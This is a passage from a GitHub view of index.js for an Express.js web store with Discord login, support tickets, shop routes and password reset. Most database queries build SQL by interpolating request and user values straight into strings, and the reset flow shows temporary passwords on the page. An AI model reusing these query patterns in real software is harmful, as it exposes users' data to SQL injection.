Repository navigation
Expand file tree
/
Copy pathindex.js
More file actions
4790 lines (4583 loc) · 267 KB
/
Copy pathindex.js
File metadata and controls
4790 lines (4583 loc) · 267 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// Basic Imports
const config = require("./config.json");
const express = require("express");
const app = express();
const chalk = require('chalk');
const fs = require('node:fs');
const axios = require('axios');
const bcrypt = require('bcrypt');
const utils = require('hyperz-utils');
const BossWebstoreEvents = require('events');
const HyperzStore = new BossWebstoreEvents();
HyperzStore.defaultMaxListeners = 99;
var passwordResetCodes = []; // Stored in Node Session for security.
// MySQL Setup
const mysql = require('mysql');
config.sql.charset = "utf8mb4";
let con = mysql.createConnection(config.sql); // set = 0 to disable
// Backend Initialization
const backend = require('./backend.js');
backend.init(app, con, HyperzStore);
// Discord Login Passport
const passport = require('passport');
const DiscordStrategy = require('passport-discord-hyperz').Strategy;
const LocalStrategy = require('passport-local').Strategy;
passport.serializeUser(function(user, done) { done(null, user) });
passport.deserializeUser(function(obj, done) { done(null, obj) });
if(config.loginMethods.regular.enabled) {
passport.use(new LocalStrategy({ usernameField: 'email' }, backend.authenticateUserLocal))
};
if(config.loginMethods.discord.enabled) {
passport.use(new DiscordStrategy({
clientID: config.loginMethods.discord.oauthId,
clientSecret: config.loginMethods.discord.oauthToken,
callbackURL: `${(config.domain.endsWith('/') ? config.domain.slice(0, -1) : config.domain)}/auth/discord/callback`,
scope: ['identify', 'guilds', 'guilds.join', 'email'],
prompt: 'consent'
}, function(accessToken, refreshToken, profile, done) {
process.nextTick(function() {
return done(null, profile);
});
}));
};
// Routing
app.get('/', async function(req, res) {
await backend.resetAppLocals(app);
let recentPurchase = false;
backend.updateStats('homepagevisits');
con.query(`SELECT * FROM usingcompanies ORDER BY RAND() LIMIT 6;`, function(err, usingcompanies) {
if(err) throw err;
con.query(`SELECT * FROM faq`, function(err, faq) {
if(err) throw err;
con.query(`SELECT * FROM reviews ORDER BY RAND() LIMIT 4;`, function(err, reviews) {
if(err) throw err;
con.query(`SELECT * FROM owneditems`, async (err, row) => {
if(err) throw err;
if(row[0]) {
let oi = row.reverse()[0];
con.query(`SELECT * FROM users WHERE id="${oi.userid}"`, function(err, row) {
if(err) throw err;
if(!row[0]) return;
recentPurchase = {
ownedItem: oi,
userInfo: row[0]
};
});
};
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
con.query(`SELECT * FROM products WHERE featured=true`, async (err, featprodobj) => {
if(err) throw err;
let featprods = [];
for(let item of featprodobj) {
con.query(`SELECT * FROM reviews WHERE itemuniqueid="${item.uniqueid}"`, function(err, row) {
if(err) throw err;
let count = 0;
let length = row.length;
for(let review of row) {
count = count + review?.rating || 0;
};
let avg = count / length;
if(isNaN(avg)) avg = 0;
item.reviewAverage = Math.round(10*avg)/10;
featprods.push(item);
});
};
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
if(!row[0]) {
con.query(`INSERT INTO users (giftcard, id, email, password, username, latestip, cart, discount, note, client, mailinglist, mailendpoints) VALUES ('none', '${req.user.id}', '${req.user.email || "none"}', 'discord', '${await utils.sanitize(req.user.username)}', '${req.clientIp || 'none'}', '[]', 0, 'none', 0, 1, '["NOTIFICATIONS", "LOGIN_SESSION"]')`, async (err, row) => {
if(err) throw err;
backend.audit(`Account Created`, `${req.user.username} (${req.user.id}) created an account.`)
backend.updateStats('newusers');
utils.saveFile(`https://cdn.discordapp.com/avatars/${req.user.id}/${req.user.avatar}.png`, `avatar_${req.user.id}`, 'png', './public/images', false)
backend.createEmail(req.user.email || "none", "Account Created", `Hey there, we are happy to see you joining our community! If you have any questions don't hesitate to ask.\n\nWe value all of our members, clients, staff, and work! You are our priority and we strive to provide the greatest support we can!\n\n<a href='${config.domain}/account' style="color: white; text-decoration: none; padding: 0.6em; font-size: 1.4em; border-radius: 0.4em; background-color: ${app.locals.sitesettings.sitecolor};">View Account</a>`, 'NOTIFICATIONS');
con.query(`SELECT * FROM bannedusers WHERE userid="${req.user.id}"`, async (err, row) => {
if(err) throw err;
if(row[0]) return res.redirect('/banned');
});
});
return res.redirect('/');
};
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
setTimeout(async function() {
res.render('index.ejs', { reviews: reviews, faq: faq, usingcompanies: usingcompanies, homeabout: await utils.mdConvert(app.locals.sitesettings.homeabout), user: myuser, loggedIn: true, featprod: featprodobj, recentPurchase: recentPurchase });
}, 5);
});
});
} else {
setTimeout(async function() {
res.render('index.ejs', { reviews: reviews, faq: faq, usingcompanies: usingcompanies, homeabout: await utils.mdConvert(app.locals.sitesettings.homeabout), user: false, loggedIn: false, featprod: featprodobj, recentPurchase: recentPurchase });
}, 5);
};
});
});
});
});
});
});
app.get('/support', async function(req, res) {
await backend.resetAppLocals(app);
let stats = {};
con.query(`SELECT * FROM tickets`, function(err, row) {
if(err) throw err;
stats.tickets = row.length.toLocaleString() || 0;
con.query(`SELECT * FROM users`, function(err, row) {
if(err) throw err;
stats.users = row.length.toLocaleString() || 0;
con.query(`SELECT * FROM staff`, function(err, row) {
if(err) throw err;
stats.staff = row.length.toLocaleString() || 0;
con.query(`SELECT * FROM categories`, function(err, row) {
if(err) throw err;
stats.categories = row.length.toLocaleString() || 0;
let isStaff = false;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
con.query(`SELECT * FROM staff WHERE userid="${req.user.id}"`, function(err, row) {
if(err) throw err;
if(row[0]) isStaff = true;
res.render('supportIndex.ejs', { user: myuser, stats: stats, isStaff: isStaff, loggedIn: req.isAuthenticated() });
});
});
});
} else {
res.render('supportIndex.ejs', { user: false, stats: stats, isStaff: isStaff, loggedIn: req.isAuthenticated() });
};
});
});
});
});
});
app.get('/support/tickets', backend.checkAuth, async function(req, res) {
await backend.resetAppLocals(app);
let isStaff = false;
con.query(`SELECT * FROM staff WHERE userid="${req.user.id}"`, function(err, row) {
if(err) throw err;
if(row[0]) isStaff = true;
con.query(`SELECT * FROM tickets WHERE userid="${req.user.id}"`, function(err, row) {
if(err) throw err;
let ticketsVar = row
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('supportTickets.ejs', { user: myuser, loggedIn: req.isAuthenticated(), tickets: ticketsVar, isStaff: isStaff });
});
});
} else {
res.render('supportTickets.ejs', { user: false, loggedIn: req.isAuthenticated(), tickets: ticketsVar, isStaff: isStaff });
};
});
});
});
app.get('/support/create', backend.checkAuth, async function(req, res) {
await backend.resetAppLocals(app);
let isStaff = false;
con.query(`SELECT * FROM staff WHERE userid="${req.user.id}"`, function(err, row) {
if(err) throw err;
if(row[0]) isStaff = true;
con.query(`SELECT * FROM categories`, function(err, categories) {
if(err) throw err;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('supportCreate.ejs', { user: myuser, categories: categories, loggedIn: req.isAuthenticated(), isStaff: isStaff });
});
});
} else {
res.render('supportCreate.ejs', { categories: categories, loggedIn: req.isAuthenticated(), isStaff: isStaff });
};
});
});
});
app.get('/support/ticket/:uniqueid', backend.checkAuth, async function(req, res) {
await backend.resetAppLocals(app);
for(let name of Object.keys(req.params)) {
req.params[name] = await utils.sanitize(req.params[name]);
if(req.params[name] == '') req.params[name] = "NA";
};
let isAllowed = false;
let isStaff = false;
con.query(`SELECT * FROM staff WHERE userid="${req.user.id}"`, function(err, row) {
if(err) throw err;
if(row[0]) {
isAllowed = true;
isStaff = true;
};
con.query(`SELECT * FROM tickets WHERE id="${req.params.uniqueid}"`, async function(err, row) {
if(err) throw err;
if(!row[0]) res.redirect('/404');
let theTicket = row[0]
if(theTicket.userid == req.user.id) isAllowed = true;
if(!isAllowed) return res.redirect('/404');
theTicket.content = await utils.mdConvert(theTicket.content);
con.query(`SELECT * FROM comments WHERE ticketid="${req.params.uniqueid}"`, async function(err, comments) {
if(err) throw err;
let newComments = [];
for(let item of comments) {
item.content = await utils.mdConvert(item.content);
newComments.push(item);
};
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('supportTicket.ejs', { user: myuser, ticket: theTicket, isStaff: isStaff, comments: newComments, loggedIn: req.isAuthenticated() });
});
});
});
});
});
});
app.get('/login', backend.checkNotAuth, async function(req, res) {
await backend.resetAppLocals(app);
res.render('login.ejs', { user: false, loggedIn: req.isAuthenticated() });
});
app.get('/credits', async function(req, res) {
await backend.resetAppLocals(app);
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('credits.ejs', { user: myuser, loggedIn: true });
});
});
} else {
res.render('credits.ejs', { user: false, loggedIn: false });
};
});
app.get('/apply', backend.checkAuth, async function(req, res) {
backend.resetAppLocals(app);
con.query(`SELECT * FROM applications WHERE closed=false`, function(err, applications) {
if(err) throw err;
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('apply.ejs', { user: myuser, loggedIn: true, applications: applications, loggedIn: req.isAuthenticated() });
});
});
});
});
app.get('/emailverify/:uid', async function(req, res) {
backend.resetAppLocals(app);
req.params.uid = await utils.sanitize(req.params.uid);
con.query(`UPDATE users SET temporary=false WHERE id="${req.params.uid}"`, async (err, row) => {
if(err) throw err;
res.redirect(`/account/${req.params.uid}`);
});
});
app.get('/forgotpassword', async function(req, res) {
backend.resetAppLocals(app);
res.render('forgotpassword.ejs');
});
app.get('/forgotpassword/:uid', async function(req, res) {
backend.resetAppLocals(app);
req.params.uid = await utils.sanitize(req.params.uid);
if(!passwordResetCodes.includes(req.params.uid)) return res.redirect('/404');
let newPasswordResetCodes = [];
for(let item of passwordResetCodes) {
if(item != req.params.uid) newPasswordResetCodes.push(item);
};
passwordResetCodes = newPasswordResetCodes;
let newTemporaryPassword = await utils.generateRandom(8);
req.params.uid = req.params.uid.split('-');
let hashedPassword = await bcrypt.hash(newTemporaryPassword, 13);
con.query(`SELECT * FROM users WHERE id="${req.params.uid[0]}"`, function(err, row) {
if(err) throw err;
con.query(`UPDATE users SET password="${hashedPassword}" WHERE id="${req.params.uid[0]}"`, function(err) {
if(err) throw err;
backend.createEmail(row[0].email || "none", "Temporary Password", `This is your new temporary password, make sure to change this in your account settings at <a href='${config.domain}/account'>${config.domain}/account</a> immediately if you haven't already!\n\nNew Temporary Password: ${newTemporaryPassword}`, 'NOTIFICATIONS');
return res.render('_template.ejs', { loginforgotpasswordready: true, loginforgotpasswordvalue: newTemporaryPassword, templatepage: { "title": "New Password", "a": "VERY IMPORTANT WARNING!!!", "b": `<code>${newTemporaryPassword}</code> is your new temporary password! YOU MUST CHANGE THIS PASSWORD IN YOUR ACCOUNT SETTINGS!`, "ctext": "<i class='fa-solid fa-arrow-right-from-bracket'></i> Go Back", "clink": "/login", "dtext": "<i class='fa-brands fa-discord'></i> Join Discord", "dlink": "/discord" } })
});
});
});
app.post('/backend/startforgotpassword', async function(req, res) {
await backend.resetAppLocals(app);
req.body.email = await utils.sanitize(req.body.email);
con.query(`SELECT * FROM users WHERE email="${req.body.email}"`, async function(err, row) {
if(err) throw err;
if(!row[0]) return res.render('_template.ejs', { templatepage: { "title": "Invalid Email", "a": "Invalid Email Address!", "b": "There is no account on file with that email address!", "ctext": "<i class='fa-solid fa-arrow-right-from-bracket'></i> Go Back", "clink": "/login", "dtext": "<i class='fa-brands fa-discord'></i> Join Discord", "dlink": "/discord" } })
con.query(`UPDATE users SET mailinglist=true WHERE id="${row[0].id}"`, async function(err) {
if(err) throw err;
let supersecretpasswordcode = `${row[0].id}-${await utils.generateRandom(57)}`;
passwordResetCodes.push(supersecretpasswordcode);
backend.createEmail(req.body.email || "none", "Forgot Password?", `You are recieving this email because you requested a password reset on our website!\n\nIf you did not make this request, delete this email immediately! Otherwise, click this button to continue your password reset.\n\n<a href='${config.domain}/forgotpassword/${supersecretpasswordcode}' style="color: white; text-decoration: none; padding: 0.6em; font-size: 1.4em; border-radius: 0.4em; background-color: ${app.locals.sitesettings.sitecolor};">Reset Password</a>`, 'NOTIFICATIONS');
return res.render('_template.ejs', { templatepage: { "title": "Password Reset", "a": "Password Reset Email Sent!", "b": "We sent an email containing instructions to reset your password!", "ctext": "<i class='fa-solid fa-arrow-right-from-bracket'></i> Go Back", "clink": "/login", "dtext": "<i class='fa-brands fa-discord'></i> Join Discord", "dlink": "/discord" } })
});
});
});
app.get('/apply/:uid', backend.checkAuth, async function(req, res) {
backend.resetAppLocals(app);
for(let item of Object.keys(req.params)) {
req.params[item] = await utils.sanitize(req.params[item]);
};
con.query(`SELECT * FROM applications WHERE closed=false AND id="${req.params.uid}"`, function(err, applications) {
if(err) throw err;
if(!applications[0]) return res.redirect('/apply');
con.query(`SELECT * FROM appquestions WHERE appid="${req.params.uid}"`, function(err, questions) {
if(err) throw err;
if(!questions[0]) return res.redirect('/apply');
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('applyform.ejs', { user: myuser, loggedIn: true, application: applications[0], questions: questions, loggedIn: req.isAuthenticated() });
});
});
});
});
});
app.get('/commissions', async function(req, res) {
await backend.resetAppLocals(app);
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('commissions.ejs', { user: myuser, loggedIn: true });
});
});
} else {
res.render('commissions.ejs', { user: false, loggedIn: false });
};
});
app.get('/shop', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
con.query(`SELECT * FROM storecategories WHERE hidden=false`, async function(err, row) {
if(err) throw err;
let categories = [];
for(let item of row) {
item.isCategory = true;
categories.push(item);
};
con.query(`SELECT * FROM products WHERE featured=true ORDER BY RAND() LIMIT 3`, function(err, row) {
if(err) throw err;
let featprods = [];
for(let item of row) {
con.query(`SELECT * FROM reviews WHERE itemuniqueid="${item.uniqueid}"`, function(err, row) {
if(err) throw err;
let count = 0;
let length = row.length;
for(let review of row) {
count = count + review?.rating || 0;
};
let avg = count / length;
if(isNaN(avg)) avg = 0;
item.reviewAverage = Math.round(10*avg)/10;
featprods.push(item);
});
};
con.query(`SELECT * FROM products WHERE hidden=false AND extension="none"`, async function(err, row) {
if(err) throw err;
let products = [];
for(let item of row) {
con.query(`SELECT * FROM reviews WHERE itemuniqueid="${item.uniqueid}"`, function(err, row) {
if(err) throw err;
let count = 0;
let length = row.length;
for(let review of row) {
count = count + review?.rating || 0;
};
let avg = count / length;
if(isNaN(avg)) avg = 0;
item.reviewAverage = Math.round(10*avg)/10;
item.isCategory = false;
products.push(item);
});
};
con.query(`SELECT * FROM storetags`, async function(err, row) {
if(err) throw err;
let storetags = row;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('shop.ejs', { products: products.concat(categories), user: myuser, loggedIn: true, storetags: storetags, featprods: featprods });
});
});
} else {
res.render('shop.ejs', { products: products.concat(categories), user: false, loggedIn: false, storetags: storetags, featprods: featprods });
};
});
});
});
});
});
app.get('/extensions/:productid', backend.checkAuth, async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
req.params.productid = await utils.sanitize(req.params.productid)
con.query(`SELECT * FROM owneditems WHERE productid="${req.params.productid}" AND userid="${req.user.id}"`, function(err, row) {
if(err) throw err;
if(!row[0]) return res.redirect(`/backend/findproduct/${req.params.productid}`);
con.query(`SELECT * FROM storecategories WHERE hidden=false`, async function(err, row) {
if(err) throw err;
let categories = [];
con.query(`SELECT * FROM products WHERE featured=true ORDER BY RAND() LIMIT 3`, function(err, row) {
if(err) throw err;
let featprods = [];
for(let item of row) {
con.query(`SELECT * FROM reviews WHERE itemuniqueid="${item.uniqueid}"`, function(err, row) {
if(err) throw err;
let count = 0;
let length = row.length;
for(let review of row) {
count = count + review?.rating || 0;
};
let avg = count / length;
if(isNaN(avg)) avg = 0;
item.reviewAverage = Math.round(10*avg)/10;
featprods.push(item);
});
};
con.query(`SELECT * FROM products WHERE extension="${req.params.productid}"`, async function(err, row) {
if(err) throw err;
let products = [];
for(let item of row) {
con.query(`SELECT * FROM reviews WHERE itemuniqueid="${item.uniqueid}"`, function(err, row) {
if(err) throw err;
let count = 0;
let length = row.length;
for(let review of row) {
count = count + review?.rating || 0;
};
let avg = count / length;
if(isNaN(avg)) avg = 0;
item.reviewAverage = Math.round(10*avg)/10;
item.isCategory = false;
products.push(item);
});
};
con.query(`SELECT * FROM storetags`, async function(err, row) {
if(err) throw err;
let storetags = row;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('shop.ejs', { products: products.concat(categories), user: myuser, loggedIn: true, storetags: storetags, featprods: featprods });
});
});
} else {
res.render('shop.ejs', { products: products.concat(categories), user: false, loggedIn: false, storetags: storetags, featprods: featprods });
};
});
});
});
});
});
});
app.get('/shop/:productlink', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
req.params.productlink = await utils.sanitize(req.params.productlink);
con.query(`SELECT * FROM products WHERE link="${req.params.productlink}"`, async function(err, row) {
if(err) throw err;
if(row[0]) {
let product = row[0];
if(product.quantity == 0) {
product.paused = true;
con.query(`UPDATE products SET paused=true WHERE uniqueid="${product.uniqueid}"`, async (err, row) => {
if(err) throw err;
});
};
product.description = await utils.mdConvert(product.description);
product.credits = await utils.mdConvert(product.credits);
product.gallery = product.gallery.replaceAll(' ', '').split(',');
product.linkeditems = product.linkeditems.replaceAll(' ', '').split(',');
let linkedItems = [];
if(product.linkeditems[0]) {
for(let uniqueid of product.linkeditems) {
con.query(`SELECT * FROM products WHERE uniqueid="${uniqueid}"`, function(err, row) {
if(err) throw err;
if(!row[0]) return;
linkedItems.push({
uniqueid: uniqueid,
name: row[0].name,
price: row[0].price,
description: row[0].description.slice(0, 250) + '...'
});
});
};
};
let extensions = false;
con.query(`SELECT * FROM products WHERE extension="${product.uniqueid}"`, function(err, row) {
if(err) throw err;
if(row[0]) extensions = true;
con.query(`SELECT * FROM reviews WHERE itemuniqueid="${product.uniqueid}" ORDER BY RAND() LIMIT 4`, async (err, randomReviews) => {
if(err) throw err;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM staff WHERE userid="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let isStaff = false;
if(row[0]) isStaff = true;
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('shopitem.ejs', { extensions: extensions, product: product, user: myuser, loggedIn: true, isStaff: isStaff, reviews: randomReviews, linkedItems: linkedItems });
});
});
});
} else {
res.render('shopitem.ejs', { extensions: extensions, product: product, user: false, loggedIn: false, isStaff: false, reviews: randomReviews, linkedItems: linkedItems });
};
con.query(`UPDATE products SET overallviews=overallviews+1 WHERE uniqueid="${product.uniqueid}"`, async (err, row) => {
if(err) throw err;
});
});
});
} else {
con.query(`SELECT * FROM storecategories WHERE link="${req.params.productlink}"`, async function(err, row) {
if(err) throw err;
if(!row[0]) return res.redirect('/404');
let category = row[0];
category.description = await utils.mdConvert(category.description);
category.items = category.items.replaceAll(' ', '').split(',');
let linkedItems = [];
for(let uniqueid of category.items) {
con.query(`SELECT * FROM products WHERE uniqueid="${uniqueid}"`, async function(err, row) {
if(err) throw err;
if(!row[0]) return;
con.query(`SELECT * FROM reviews WHERE itemuniqueid="${uniqueid}"`, function(err, reviews) {
if(err) throw err;
let count = 0;
let length = row.length;
for(let review of reviews) {
count = count + review?.rating || 0;
};
let avg = count / length;
if(isNaN(avg)) avg = 0;
let reviewAverage = Math.round(10*avg)/10;
linkedItems.push({
uniqueid: uniqueid,
pos: row[0].pos,
name: row[0].name,
link: row[0].link,
price: row[0].price,
pricecrossout: row[0].pricecrossout,
paused: row[0].paused,
reviewAverage: reviewAverage,
description: row[0].description.slice(0, 250) + '...'
});
});
});
};
if(req.isAuthenticated()) {
con.query(`SELECT * FROM staff WHERE userid="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let isStaff = false;
if(row[0]) isStaff = true;
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('shopcategory.ejs', { category: category, user: myuser, loggedIn: true, isStaff: isStaff, linkedItems: linkedItems });
});
});
});
} else {
setTimeout(function() {
res.render('shopcategory.ejs', { category: category, user: false, loggedIn: false, isStaff: false, linkedItems: linkedItems });
}, 100);
};
});
};
});
});
app.get('/store', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
await res.redirect('/shop');
});
app.get('/store/:productlink', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
await res.redirect(`/shop/${req.params.productlink}`);
});
app.get('/searchtag/:uniqueid', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
if(!req.params.uniqueid) return res.redirect('/404');
con.query(`SELECT * FROM products`, async function(err, row) {
if(err) throw err;
let products = [];
for(let item of row) {
con.query(`SELECT * FROM reviews WHERE itemuniqueid="${item.uniqueid}"`, function(err, row) {
if(err) throw err;
let count = 0;
let length = row.length;
for(let review of row) {
count = count + review?.rating || 0;
};
let avg = count / length;
if(isNaN(avg)) avg = 0;
item.reviewAverage = Math.round(10*avg)/10;
item.isCategory = false;
if(item.storetags.replaceAll(' ', '').split(',').includes(req.params.uniqueid)) {
products.push(item);
};
});
};
con.query(`SELECT * FROM products WHERE featured=true ORDER BY RAND() LIMIT 3`, function(err, row) {
if(err) throw err;
let featprods = [];
for(let item of row) {
con.query(`SELECT * FROM reviews WHERE itemuniqueid="${item.uniqueid}"`, function(err, row) {
if(err) throw err;
let count = 0;
let length = row.length;
for(let review of row) {
count = count + review?.rating || 0;
};
let avg = count / length;
if(isNaN(avg)) avg = 0;
item.reviewAverage = Math.round(10*avg)/10;
featprods.push(item);
});
};
con.query(`SELECT * FROM storetags`, async function(err, row) {
if(err) throw err;
let storetags = row;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('shop.ejs', { products: products, user: myuser, loggedIn: true, storetags: storetags, featprods: featprods });
});
});
} else {
res.render('shop.ejs', { products: products, user: false, loggedIn: false, storetags: storetags, featprods: featprods });
};
});
});
});
});
app.get('/giftcards', backend.checkAuth, async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
if(app.locals.sitestyles.giftcards != 1) return res.redirect('/404');
con.query(`SELECT * FROM giftcards`, async function(err, row) {
if(err) throw err;
let products = row;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('giftcards.ejs', { products: products, user: myuser, loggedIn: true });
});
});
} else {
res.render('giftcards.ejs', { products: products, user: false, loggedIn: false });
};
});
});
app.get('/faq', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
con.query(`SELECT * FROM faq`, async function(err, row) {
if(err) throw err;
